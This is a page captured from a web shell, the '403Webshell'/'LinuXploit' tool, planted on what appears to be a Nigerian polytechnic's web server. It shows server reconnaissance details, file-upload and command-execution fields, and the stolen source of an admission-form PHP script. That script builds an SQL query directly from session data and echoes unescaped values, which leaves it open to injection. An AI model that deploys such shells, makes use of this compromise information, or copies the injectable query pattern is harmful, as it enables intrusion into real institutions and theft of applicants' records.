403Webshell
Server IP : 172.64.80.1  /  Your IP : 172.69.58.211
Web Server : Apache
System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : federalpolyede.edu.ng_idh35skikv ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/federalpolyede.edu.ng/httpdocs/eace_entranceForm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/federalpolyede.edu.ng/httpdocs/eace_entranceForm/secondary_edit.php
<?php
session_start();
?>
<script type="text/javascript" language="javascript" src="../js/jquery-1.7.1.js"></script>
<script type="text/javascript" language="javascript" src="../js/scriptFile.js"></script>
<script type="text/javascript" language="javascript" src="../js/scriptLga.js"></script>
<script type="text/javascript" language="javascript" src="../js/scripJamb.js"></script>
<?php
require_once('headMain2.php');
$formNo=$_SESSION['formNo'];
$formType=$_SESSION['formType'];
$level=$_SESSION['formType'];
require_once('../connect.php');
$db=db_connect();
$sql=$db->query("select * from secondary where formNo='$formNo'");
$sql_count=$sql->rowCount();
$sql_fetch=$sql->fetch(PDO::FETCH_BOTH);


$sname=$sql_fetch['sname'];
$sfrom=$sql_fetch['sfrom'];
$sto=$sql_fetch['sto'];


/**
 * Created by PhpStorm.
 * User: SERVER
 * Date: 08/31/2016
 * Time: 2:12 PM
 */
?>
    <div class="container">
        <div class="row">
            <div class="col-md-6 col-md-offset-3">
                <div class="login-panel panel panel-default">
                    <div class="panel-heading">
                        <h3 class="panel-title">Edit Secondary Data</h3>  <div align="right"><a href="javascript:history.go(-1)"> Go to Previous page</a></div>
                    </div>
                    <div class="panel-body">
                        <form role="form" action="secondary_edit_process.php" method="post">
<?php
if (isset($_GET['id'])){
   if ($_GET['id']=='1'){
       echo '<td colspan="6"  class="alert alert-danger"  align="center" ><button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>Secondary Data Updated Successfully';
                                                                        }
    if ($_GET['id']=='2'){
        echo '<td colspan="6"  class="alert alert-danger"  align="center" ><button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>Record Failed to Update';
    }
    if ($_GET['id']=='passport'){
        echo '<td colspan="6"  class="alert alert-danger"  align="center" ><button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>Passport Required';
    }
    if ($_GET['id']=='O_Level'){
        echo '<td colspan="6"  class="alert alert-danger"  align="center" ><button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>O\'level Scanned Copy2 is Required';
    }
    if ($_GET['id']=='O_Level1'){
        echo '<td colspan="6"  class="alert alert-danger"  align="center" ><button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>O\'evel Scanned Copy1 is Required';
    }

}
?>
    <div><?php echo '<img src="../passportForm/'. $formNo.'.jpg" alt="" width="105" height="115" class="img-rounded" />';?></div>

                            <div>
                                <strong>Secondary Attended Name:</strong>

                                   <input type="text" class="form-control" name="sname" id="name1" required="required" value="<?php echo $sname;?>" />
                                </div>
                                <div><strong>Admitted Year:</strong>
                                    <select name="sfrom" id="sfrom" class="form-control">
                                        <?php
                                        echo '<option>'.$sfrom.'</option>';
                                        for ($i=2000;$i<=2016;++$i){ echo '<option>'.$i.'</option>';}?>
                                    </select>
                                </div>
                            <div><strong>Graduated Year:</strong>
                                <select name="sto" id="sto" class="form-control">
                                    <?php
                                    echo '<option>'.$sto.'</option>';
                                    for ($i=2000;$i<=2016;++$i){ echo '<option>'.$i.'</option>';}?>
                                </select>
                            </div>

                    <div><input type="submit" class="btn-primary form-control" value="Update Secondary School Data"></div>

                    </form>
                    </div>
                    </div>
                </div>
    </div>
                    </div>
                </div>
            </div>
        </div>

Youez - 2016 - github.com/yon3zu
LinuXploit